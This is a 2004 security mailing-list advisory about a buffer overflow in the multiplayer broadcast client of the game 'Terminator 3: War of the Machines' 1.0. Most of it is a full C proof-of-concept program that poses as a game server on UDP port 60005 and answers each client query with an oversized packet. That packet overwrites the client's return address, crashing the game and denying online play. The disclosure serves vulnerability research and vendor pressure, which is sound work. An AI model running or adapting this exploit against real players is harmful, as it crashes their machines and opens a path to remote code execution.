[NT] Terminator 3 Broadcast Client Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 03/23/04

  • Next message: SecuriTeam: "[UNIX] Local Buffer Overflow in REP (Long ARG)"
    To: list@securiteam.com
    Date: 23 Mar 2004 20:39:04 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Terminator 3 Broadcast Client Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.t3war.com> Terminator 3: War of the Machines" is a
    multiplayer FPS game developed by <http://www.clevers.com> Clevers and
    based on the homonym Swarzy's movie. A vulnerability in the broadcast
    client enables a remote user to run arbitrary code on the victim's
    machine.

    DETAILS

    Vulnerable Systems:
     * Terminator 3: War of the Machines version 1.0

    Vulnerable Code:
    The vulnerability is in the broadcast server, affecting all the clients.
    Every time a user enters in the multiplayer menu, the game contacts the
    master server and then each online server automatically. The bug happens
    during the following code:

        char ServerInfoTemp[200];
        ...
        for (int i = 0; i < strlen(ServerInfo); i++) {
            ServerInfoTemp[i] = toupper(ServerInfo[i]);
        }

    The vulnerable instructions in the executable of the pre-release demo are
    the loop between 004953d4 and 004953fe.

    The string ServerInfo contains the server's IP and port and all the values
    in the server's reply. The string is then put into a new smaller buffer
    (ServerInfoTemp) to convert the chars to upper case.

    The effects of this vulnerability are the usual 2 known problems:
     * Automatic buffer-overflow (here with the upper-case limitation)
     * Network Denial of service, nobody can use the game online

    Vendor Status:
    Developers promised a patch a lot of times (for 3 months) but it has not
    been released yet.

    PoC:
    The PoC code requires
    <http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html> winerr.h

    //t3cbof.c
    /*
    by Luigi Auriemma

    UNIX & WIN VERSION
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    #ifdef WIN32
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netdb.h>
    #endif

    #define VER "0.1.1"
    #define BUFFSZ 2048
    #define PORT 60005
    #define GAMEVER "800" // 800 = pre-release
                                // 850 = retail version
    #define RETADDRLAN "\xde\xc0\xad\xde" "\0"
    #define RETADDRINT "\xde\xc0\xad\xde" "\0" GAMEVER"\0" "0\0"
    // | |
    // | final NULL byte
    // return address
    // remember that the chars a-z will be converted by
    // Terminator 3 in upper case (A-Z) so if the return address
    // is composed by chars as "xxxx" it will become "XXXX"

    u_long get_my_ip(struct sockaddr_in peer);
    void std_err(void);

    int main(int argc, char *argv[]) {
        int sd,
                    on = 1,
                    pcklen,
                    len,
                    psz;
        u_long ip;
        struct sockaddr_in peer;
        u_char *buff,
                    pcklan[] = /* LAN PACKET */
                    "\x00\x00\x00\x00\x00"
                    "hostname\0" "test\0"
                    "gamever\0" GAMEVER"\0"
                    "gametype\0" "0\0"
                    "numplayers\0" "8\0"
                    "maxplayers\0" "32\0"
                    "mapname\0"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
                    pckinternet[] = /* INTERNET PACKET */
                    "\x00\x00\x00\x00\x00"
                    "test\0"
                    "8\0"
                    "32\0"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
                    *pck;

        setbuf(stdout, NULL);

        fputs("\n"
            "Terminator 3 1.0 broadcast client buffer-overflow "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@altervista.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        printf("\nThe game version in use (#define GAMEVER) is %s\n"
            " 800 exploits only the pre-release demo version\n"
            " 850 exploits only the retail 1.0 version\n"
            "\n"
            "To change this game version modify the source code\n"
            "\n", GAMEVER);

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        peer.sin_addr.s_addr = INADDR_ANY;
        peer.sin_port = htons(PORT);
        peer.sin_family = AF_INET;
        psz = sizeof(peer);

        printf("\nBinding UDP port %u\n", PORT);

        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();

        if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
          < 0) std_err();
        if(bind(sd, (struct sockaddr *)&peer, psz)
          < 0) std_err();

        buff = malloc(BUFFSZ);
        if(!buff) std_err();

        printf("The return address will be overwritten with 0x%08lx\n"
            "\nWaiting clients:\n", *(u_long *)RETADDRLAN);

        while(1) {
            pcklen = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer,
    &psz);
            if(pcklen < 0) std_err();

            if(pcklen < 16) {
                fputs("LAN (", stdout);
                pck = pcklan;
                len = sizeof(pcklan) - 1;
            } else {
                fputs("INTERNET (", stdout);
                pck = pckinternet;
                len = sizeof(pckinternet) - 1;
            }

                // I consider 5 chars for the default 60005 port (faster)
                // The string built by the client contains also
                // the server IP address that modifies its length
            ip = get_my_ip(peer);
            if(!ip) printf("\n- Alert: I'm not able to know your local IP
    address so the return address on the remote client will not be correctly
    overwritten with 0x%08lx\n", *(u_long *)RETADDRLAN);

            len -= printf("%s", inet_ntoa(*(struct in_addr *)&ip));
            if(pcklen < 16) {
                memcpy(pck + len, RETADDRLAN, sizeof(RETADDRLAN) - 1);
                len += sizeof(RETADDRLAN) - 1;
            } else {
                memcpy(pck + len, RETADDRINT, sizeof(RETADDRINT) - 1);
                len += sizeof(RETADDRINT) - 1;
            }

            printf(") %15s:%hu\n",
                inet_ntoa(peer.sin_addr),
                htons(peer.sin_port));

            memcpy(pck, buff + 2, 5);

            if(sendto(sd, pck, len, 0, (struct sockaddr *)&peer, psz)
              < 0) std_err();
        }

        close(sd);
        return(0);
    }

        /* IMPORTANT */
        /* Please contact me if you know a better method to know */
        /* the local IP address that has received the UDP packet */

    u_long get_my_ip(struct sockaddr_in peer) {
        int sock,
            psz = sizeof(peer);

    #ifdef WIN32
        OSVERSIONINFO osv;
        int i = 0;
        u_long ip;
        struct hostent *he;
        char hostname[256];

        osv.dwOSVersionInfoSize = sizeof(osv);
        GetVersionEx(&osv);
        if(osv.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) {
            if(gethostname(hostname, sizeof(hostname) - 1)
              < 0) std_err();
            he = gethostbyname(hostname);
            if(!he) std_err();
            while(he->h_addr_list[i]) {
                ip = *(u_long *)he->h_addr_list[i];
                    // class C, it is a workaround for Win9x
                    // only so for the moment it is enough
                if(ntohl(ip ^ peer.sin_addr.s_addr) < 0xff) break;
                i++;
            }
            return(ip);
        }
    #endif

        sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sock < 0) std_err();
        if(connect(sock, (struct sockaddr *)&peer, psz)
          < 0) std_err();
        if(getsockname(sock, (struct sockaddr *)&peer, &psz)
          < 0) std_err();
        close(sock);
        return(peer.sin_addr.s_addr);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@altervista.org> Luigi
    Auriemma.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Local Buffer Overflow in REP (Long ARG)"

    Relevant Pages

    • [NEWS] Multiple Vulnerabilities in Oracle Database (Character Conversion, Extproc, Password Disclosu
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple vulnerabilities were discovered in the (Oracle database server ... password is required to exploit this vulnerability. ...
      (Securiteam)
    • [UNIX] Multiple Vendor X Server XC-MISC Extension Memory Corruption Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Vendor X Server XC-MISC Extension Memory Corruption Vulnerability ... with elevated privileges. ...
      (Securiteam)
    • [EXPL] Veritas Backup Exec Agent Browser Registration Request Exploit
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... next generation backup and restore solution for Microsoft Windows server ... the shellcode 5 minutes later, the service will hang on to death of course ...
      (Securiteam)
    • [NT] TwinFTP Server Directory Traversal Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... TwinFTP Server is an FTP server released by ... A vulnerability exists in TwinFTP server that allows a malicious user ...
      (Securiteam)
    • [UNIX] Multiple Vendor X Server fonts.dir File Parsing Integer Overflow Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Vendor X Server fonts.dir File Parsing Integer Overflow ... exploitation of an integer overflow vulnerability in multiple vendors' ... Exploitation allows attackers to execute arbitrary code with elevated ...
      (Securiteam)